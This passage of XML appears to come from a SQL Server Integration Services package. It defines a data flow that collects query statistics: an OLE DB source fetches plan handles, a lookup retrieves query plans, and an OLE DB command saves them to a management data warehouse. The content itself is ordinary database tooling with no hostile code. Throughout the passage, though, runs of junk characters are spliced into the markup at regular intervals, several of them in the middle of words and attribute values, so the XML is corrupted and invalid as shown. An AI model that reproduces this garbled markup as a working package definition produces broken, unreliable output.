and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_end_offset]"><properties><property dataType="System.String" description="Specifies the column in the reference table that a column joins." name="JoinToReferenceColumn">statement_end_offset</property><property dataType="System.Null" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn"/></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Inputs[Lookup Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[plan_handle]"><properties><property dataType="System.String" description="Specifies the column in the reference table that a column joins." name="JoinToReferenceColumn">plan_handle</property><property dataType="System.Null" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn"/></properties></inputColumn></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output]" errorOrTruncationOperation="Lookup" exclusionGroup="1" name="Lookup Match Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Inputs[Lookup Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[database_id]" dataType="i2" errorOrTruncationOperation="Copy Column" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[database_id]" name="database_id" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">database_id</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and s	!!!!!!!!!!!!!!!!!!!!!!!!`9>!lB#Hvave plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[object_id]" dataType="i4" errorOrTruncationOperation="Copy Column" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[object_id]" name="object_id" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">object_id</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[object_name]" dataType="wstr" errorOrTruncationOperation="Copy Column" length="128" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[object_name]" name="object_name" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">object_name</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[query_plan]" dataType="nText" errorOrTruncationOperation="Copy Column" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[query_plan]" name="query_plan" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">query_plan</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup No Match Output]" description="The Lookup output that handles rows with no matching entries in the reference dataset. Use this output when the NoMatchBehavior property is set to &quot;Send rows with no matching entries to the no match output.&quot;" exclusionGroup="1" name="Lookup No Match Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Inputs[Lookup Input]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Error Output]" exclusionGroup="1" isErrorOut="true" name="Lookup Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Inputs[Lookup Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look 	!!!!!!!!!!!!!!!!!!!!!!!!`:>%\^4Hvup query plans on target server.Outputs[Lookup Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse" componentClassID="{93FFEC66-CBC8-4C7F-9C6A-CB1C17A7567D}" contactInfo="OLE DB Command;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;2" description="Executes an SQL command for each row in a dataset." name="ODC - Save known plans to warehouse" usesDispositions="true" version="2"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="The SQL command to be executed." expressionType="Notify" name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">EXEC snapshots.sp_update_query_plan ?,?,?,?,?,?,?,?,?,?</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input]" errorOrTruncationOperation="Command Execution" errorRowDisposition="FailComponent" hasSideEffects="true" name="OLE DB Command Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[source_id]" cachedDataType="i4" cachedName="source_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@source_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[source_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@sql_handle]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT	!!!!!!!!!!!!!!!!!!!!!!!!`;>)g#Hv - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@plan_handle]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@statement_start_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_start_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@statement_end_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_end_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@plan_generation_num]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[plan_generation_num]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[database_id]" cachedDataType="i2" cachedName="database_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@database_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[database_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[object_id]" cachedDataType="i4" cachedName="object_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@object_id]" lineageId="Pack	!!!!!!!!!!!!!!!!!!!!!!!!`<>-s7Hvage\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[object_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[object_name]" cachedDataType="wstr" cachedLength="128" cachedName="object_name" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@object_name]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[object_name]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].Columns[query_plan]" cachedDataType="nText" cachedName="query_plan" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@query_plan]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Outputs[Lookup Match Output].Columns[query_plan]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@source_id]" dataType="i4" name="@source_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@sql_handle]" dataType="bytes" length="64" name="@sql_handle"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">65</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@plan_handle]" dataType="bytes" length="64" name="@plan_handle"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">65</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@statement_start_offset]" dataType="i4" name="@statement_start_offset"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@statement_end_offset]" dataType="i4" name="@statement_end_offset"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</propert	!!!!!!!!!!!!!!!!!!!!!!!!`=>u,ѦHvy></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@plan_generation_num]" dataType="i8" name="@plan_generation_num"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@database_id]" dataType="i2" name="@database_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@object_id]" dataType="i4" name="@object_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@object_name]" dataType="wstr" length="128" name="@object_name"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">65</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input].ExternalColumns[@query_plan]" dataType="nText" name="@query_plan"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">193</property></properties></externalMetadataColumn></externalMetadataColumns></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Outputs[OLE DB Command Output]" exclusionGroup="1" name="OLE DB Command Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input]"><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Outputs[OLE DB Command Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Command Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Inputs[OLE DB Command Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Outputs[OLE DB Command Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Outputs[OLE DB Command Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to w	!!!!!!!!!!!!!!!!!!!!!!!!`>>uiHvarehouse.Outputs[OLE DB Command Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODC - Save known plans to warehouse.Outputs[OLE DB Command Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan" componentClassID="{165A526D-D5DE-47FF-96A6-F8274C19826B}" contactInfo="OLE DB Source;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;7" description="OLE DB Source" name="ODS - Get all plan handles without saved plan" usesDispositions="true" version="7"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset"/><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="The variable that contains the SQL command to be executed." name="SqlCommandVariable">User::SourceSqlQuery</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.String" description="The mappings between the parameters in the SQL command and variables." name="ParameterMapping"/></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output]" name="OLE DB Source Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[source_id]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[source_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[source_id]" nam	!!!!!!!!!!!!!!!!!!!!!!!!`?>u	2Hve="source_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[sql_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[sql_handle]" name="sql_handle" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[plan_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[plan_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[plan_handle]" name="plan_handle" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_start_offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[statement_start_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_start_offset]" name="statement_start_offset" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_end_offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[statement_end_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_end_offset]" name="statement_end_offset" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[plan_generation_num]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[plan_gene	!!!!!!!!!!!!!!!!!!!!!!!!`@>/Hvration_num]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[plan_generation_num]" name="plan_generation_num" truncationRowDisposition="FailComponent"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[source_id]" dataType="i4" name="source_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].ExternalColumns[plan_generation_num]" dataType="i8" name="plan_generation_num"/></externalMetadataColumns></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output]" isErrorOut="true" name="OLE DB Source Error Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[source_id]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[source_id]" name="source_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[plan_handle]" name="plan_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan ha	!!!!!!!!!!!!!!!!!!!!!!!!`A>F7gHvndles without saved plan.Outputs[OLE DB Source Error Output].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[statement_start_offset]" name="statement_start_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[statement_end_offset]" name="statement_end_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[plan_generation_num]" name="plan_generation_num"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved 